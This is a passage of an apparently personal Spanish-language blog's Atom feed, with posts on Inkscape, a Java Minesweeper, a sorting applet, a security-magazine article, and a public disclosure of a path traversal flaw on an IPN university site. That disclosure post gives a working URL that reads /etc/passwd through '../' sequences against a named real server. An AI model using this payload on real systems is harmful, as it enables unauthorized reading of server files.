class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-4530775744790645011?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/4530775744790645011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/4530775744790645011'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/02/jugando-con-inkscape.html' title='Jugando con Inkscape'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_gHnjNDzBHRk/R7Ko01Wz9EI/AAAAAAAAAEA/vd29cOjKZL0/s72-c/inkscape_benji.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-7713581370214510886</id><published>2008-02-13T00:07:00.000-08:00</published><updated>2011-12-28T16:50:29.609-08:00</updated><title type='text'>Vulnerabilidad en la web del IPN</title><content type='html'>Navegando me encontré con una vulnerabilidad en el sitio del &lt;a href="http://ipn.mx/"&gt;Instituto Politécnico Nacional&lt;/a&gt; que permite obtener &lt;a href="http://en.wikipedia.org/wiki/File_system_permissions"&gt;casi&lt;/a&gt; cualquier archivo del servidor usando la siguiente URL:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cicimar.ipn.mx/cicimar/publica/verarchivos.php?archivo=../../../../../etc/passwd"&gt;http://www.cicimar.ipn.mx/cicimar/publica/verarchivos.php?archivo=../../../../../etc/passwd&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Están avisados.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-7713581370214510886?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/7713581370214510886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/7713581370214510886'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/02/vulnerabilidad-en-la-web-del-ipn.html' title='Vulnerabilidad en la web del IPN'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-2518952367272901988</id><published>2006-10-06T12:08:00.000-07:00</published><updated>2011-12-28T16:49:41.884-08:00</updated><title type='text'>MineSweeper en Java</title><content type='html'>Decidimos crear un MineSweeper en Java para la clase de Proyectos de Programación. Tiene capacidad de jugar en red y cambiar skins, entre otras cosas. Un screenshot:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/2427/1170/1600/minesweeper2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px;" src="http://photos1.blogger.com/blogger/2427/1170/1600/minesweeper2.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-2518952367272901988?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/2518952367272901988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/2518952367272901988'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2006/10/minesweeper-en-java.html' title='MineSweeper en Java'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-5124823374135085554</id><published>2006-10-06T11:55:00.000-07:00</published><updated>2011-12-28T16:50:29.591-08:00</updated><title type='text'>Publicación en Conthackto</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.conthackto.com.mx/web_pics/Anteriores/tum_p1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 115px; height: 156px;" src="http://www.conthackto.com.mx/web_pics/Anteriores/tum_p1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www.conthackto.com.mx/"&gt;Conthackto NET&lt;/a&gt; es una nueva revista Mexicana enfocada a la seguridad informática. Tuve la oportunidad de realizar una serie de artículos sobre programación ASM en Linux y desbordamientos de búffer. Está disponible el primer número en &lt;a href="http://www.conthackto.com.mx/downloads/articulos_numero1.zip"&gt;formato PDF&lt;/a&gt;. La primera entrega de ésta serie de artículos está en las páginas 8 y 9.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-5124823374135085554?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5124823374135085554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/5124823374135085554'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2008/02/publicacin-en-conthackto.html' title='Publicación en Conthackto'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-831109803934287386.post-2981184222316054989</id><published>2006-08-13T12:03:00.000-07:00</published><updated>2011-12-28T16:49:41.889-08:00</updated><title type='text'>Applet de algoritmos de ordenación</title><content type='html'>Este es el proyecto de primer parcial de mi clase de programación.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/2427/1170/1600/ord1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px;" src="http://photos1.blogger.com/blogger/2427/1170/1600/ord1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/831109803934287386-2981184222316054989?l=blog.benoror.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/2981184222316054989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/831109803934287386/posts/default/2981184222316054989'/><link rel='alternate' type='text/html' href='http://blog.benoror.com/2006/08/applet-de-algoritmos-de-ordenacin.html' title='Applet de algoritmos de ordenación'/><author><name>Benjamín Orozco</name><uri>https://profiles.google.com/102367030438008357979</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-SgU_KZ3-des/AAAAAAAAAAI/AAAAAAAADuA/kv88dAMCFkA/s512-c/photo.jpg'/></author></entry></feed>
